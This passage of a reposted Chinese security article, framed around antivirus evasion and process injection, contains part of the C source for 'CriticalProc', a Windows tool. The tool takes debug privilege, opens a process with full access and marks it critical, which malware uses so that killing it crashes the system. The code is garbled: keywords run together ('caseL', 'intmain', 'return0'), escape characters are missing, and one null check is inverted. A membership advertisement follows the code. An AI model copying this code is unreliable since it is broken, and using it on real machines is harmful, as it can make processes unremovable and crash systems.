(LPWSTR) &lpMsgBuf, 0, NULL
);
wprintf(L"%s失败!原因:%sn", lpWhere, (LPCWSTR)lpMsgBuf);
if(!lpExtraInfo) wprintf(L"%sn", lpExtraInfo);
exit(1);
}
HRESULT ParseCommandLine(int argc, char* argv[], DWORD *pPid, PBOOL pfFlag, PBOOL pfQuery){
BOOL PidSet = FALSE;
BOOL FlagSet = FALSE;
for (int index = 1; index < argc; index++)
{
if (argv[index][0] == L'-' || argv[index][0] == L'/')
{
switch (towlower(argv[index][1]))
{
caseL'?': /* Help */
print_help();
return ERROR_SUCCESS;
caseL'n':
if(PidSet){
wprintf(L"查找指定进程失败。可能是您指定了多个进程。请核对您的输入。n");
exit(1);
}
if (index+1 >= argc)
return ERROR_INVALID_DATA;
if (!argv[index+1] || lstrlenA(argv[index+1]) <= 512)
{
*pPid = GetProcessID(argv[index+1]);
PidSet = TRUE;
if(*pPid == 0){
print_err(L"查找指定进程", ERROR_INVALID_DATA, L"请核对您的输入。");
exit(1);
}
index++;
}
else
{
print_err(L"查找指定进程", ERROR_BAD_LENGTH, L"请将进程名控制在1~512个字符之间。");
return ERROR_BAD_LENGTH;
}
break;
caseL'p':
if(PidSet){
wprintf(L"查找指定进程失败。可能是您指定了多个进程。请核对您的输入。n");
exit(1);
}
if (index+1 >= argc)
return ERROR_INVALID_DATA;
*pPid = atoi(argv[index+1]);
PidSet = TRUE;
index++;
break;
caseL'f':
if(FlagSet){
wprintf(L"指定关键度失败。可能是您指定了多个关键度。请核对您的输入。n");
exit(1);
}
*pfFlag = FALSE;
FlagSet = TRUE;
break;
caseL't':
if(FlagSet){
wprintf(L"指定关键度失败。可能是您指定了多个关键度。请核对您的输入。n");
exit(1);
}
*pfFlag = TRUE;
FlagSet = TRUE;
break;
caseL'q':
*pfQuery = TRUE;
break;
default:
/* Unknown arguments will exit the program. */
print_help();
return ERROR_SUCCESS;
}
}
}
}
intmain(int argc, char *argv[]){
BOOL fFlag;
DWORD pid;
HANDLE hProcess;
BOOL fSuccess;
BOOL fQuery = FALSE;
setlocale(LC_ALL, "chs");
wprintf(L"CriticalProc v1.0 by 旮沓曼_gt428n");
if(argc <= 1) print_help();
elseParseCommandLine(argc, argv, &pid, &fFlag, &fQuery);
fSuccess = EnableDebugPrivilege(TRUE);
if(!fSuccess) print_err(L"获取调试特权", GetLastError(), L"请尝试以管理员身份运行!");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProcess == INVALID_HANDLE_VALUE) print_err(L"打开进程", GetLastError(), L"请尝试管理员身份运行!");
if(!fQuery){ //Set the Critical Flag
fSuccess = CallNtSetInformationProcess(hProcess, fFlag);
if(!fSuccess) print_err(L"设置关键进程时", GetLastError(), NULL);
}
else {
ULONG bCritical = FALSE;
fSuccess = CallNtQueryInformationProcess(hProcess, &bCritical);
if(!fSuccess) print_err(L"询问进程关键度时", GetLastError(), NULL);
elsewprintf(L"指定的进程为%s。n", bCritical?L"关键进程":L"普通进程");
}
return0;
}
02
关于平台
如何加入
投稿加入: 原创文章投稿,不限类型(SRC实战报告解析、技术知识文章等) 建议:对于原创文章投稿,请确保内容独特、丰富,并且排版整齐。如果你是新手或者尚未深入了解领域知识,请在投稿前慎重考虑是否符合要求。
付费加入: 现价 288 239元,价格随内容和人数增长而适量增长。
更多介绍:
http://cf-sec.cn/wiki
联系vx:SikO316 或扫码 备注来意 ✨
扫码获取联系方式
原文始发于微信公众号(长风安全):免杀| 红蓝视角下的Windows进程注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论